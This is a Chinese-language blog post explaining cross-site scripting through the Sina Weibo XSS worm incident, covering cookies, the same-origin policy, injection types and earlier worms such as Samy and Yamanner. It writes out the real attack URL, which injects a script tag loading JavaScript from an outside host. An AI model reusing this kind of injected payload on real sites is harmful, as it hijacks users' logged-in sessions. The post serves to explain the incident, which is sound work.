新浪微博的XSS攻擊
新浪微博XSS事件在這裡,想和大家介紹一下XSS攻擊,XSS攻擊又叫跨站腳本式攻擊,你Google一下可以搜到很多很多的文章。我在這裡就簡單地說一下。首先,我們都知道網上很多網站都可以「記住你的用戶名和密碼」或是「自動登錄」,其實是在你的本地設置了一個cookie,這種方式可以讓你免去每次都輸入用戶名和口令的痛苦,但是也帶來很大的問題。試想,如果某用戶在「自動登錄」的狀態下,如果你運行了一個程序,這個程序訪問「自動登錄」這個網站上一些鏈接、提交一些表單,那麼,也就意味著這些程序不需要輸入用戶名和口令的手動交互就可以和伺服器上的程序通話。這就是XSS攻擊的最基本思路。再說一點,不一定是「記住你的用戶名和密碼」或是「自動登錄」的方法,因為HTTP是無狀態的協議,所以,幾乎所有的網站都會在你的瀏覽器上設置cookie來記錄狀態,以便在其多個網頁切換中檢查你的登錄狀態。而現在的瀏覽器的運行方式是多頁面或多窗口運行,也就是說,你在同一個父進程下開的多個頁面或窗口裡都可以無償和共享使用你登錄狀態的。當然,你不必過於擔心訪問別的網站,在別的網站里的js代碼會自動訪問你的微博或是網銀。因為瀏覽器的安全性讓js只能訪問自己所在網站的資源(你可以引入其它網站的js)。當然,這是瀏覽器對js做的檢查,所以,瀏覽器並不一定會做這個檢查,這就是為什麼IE6是史上最不安全的瀏覽器,沒有之一。只要你沒有在用IE6,應該沒有這些問題。XSS攻擊有兩種方法,一種就像SQL Injection或CMD Injection攻擊一樣,我把一段腳本注入到伺服器上,用戶訪問方法伺服器的某個URL,這個URL就會把遠端的js注入進來,這個js有可能自動進行很多操作。比如這次事件中的幫你發微博,幫你發站內消息等。注入有很多方法,比如:提交表單,更改URL參數,上傳圖片,設置簽名,等等。另一類則是來來自外部的攻擊,主要指的自己構造XSS 跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當我們要滲透一個站點,我們自己構造一個跨站網頁放在自己的伺服器上,然後通過結合其它技術,如 社會工程學等,欺騙目標伺服器的管理員打開。這一類攻擊的威脅相對較低,至少ajax 要發起跨站調用是非常困難的(你可能需要hack瀏覽器)。這次新浪微博事件是第一種,其利用了微博廣場頁面 http://weibo.com/pub/star 的一個URL注入了js腳本,其通過http://163.fm/PxZHoxn短鏈接服務,將鏈接指向:http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update注意,上面URL鏈接中的其實就是<script src=//www.2kt.cn/images/t.js></script>。攻擊者並不一定是2kt.cn的人,因為.cn被國家嚴格管制(大家不知道coolshell.cn 的備案備了不知有多少次),所以,我個人覺得這個人不會愚蠢到用自己域名來做攻擊伺服器。其它初步發現 Chrome 和 Safari 都沒中招。IE、Firefox未能倖免。史上最著名的XSS攻擊是Yahoo Mail 的Yamanner蠕蟲是一個著名的XSS 攻擊實例。早期Yahoo Mail 系統可以執行到信件內的javascript 代碼。並且Yahoo Mail 系統使用了Ajax技術,這樣病毒javascript 可以的向Yahoo Mail 系統發起ajax 請求,從而得到用戶的地址簿,並發送攻擊代碼給他人。為什麼那個用戶叫hellosamy,因為samy是第一個XSS攻擊性的蠕蟲病毒,在MySpace上傳播。關於攻擊的代碼在這裡:06.28_sina_XSS.txt(編碼風格還是很不錯的)(全文完)
推薦閱讀:
※微博粉絲數據被後台篡改 渣浪類似的行徑還有很多吧?真的沒有解決的辦法嗎?
※星盤_免費在線占星命盤查詢分析_新浪星座_新浪網
※被新浪微博的源碼,震驚了?
※女人為難男人的15餿主意 - 羅西 - 新浪BLOG
※如何評價新浪籃球寫手咕噠?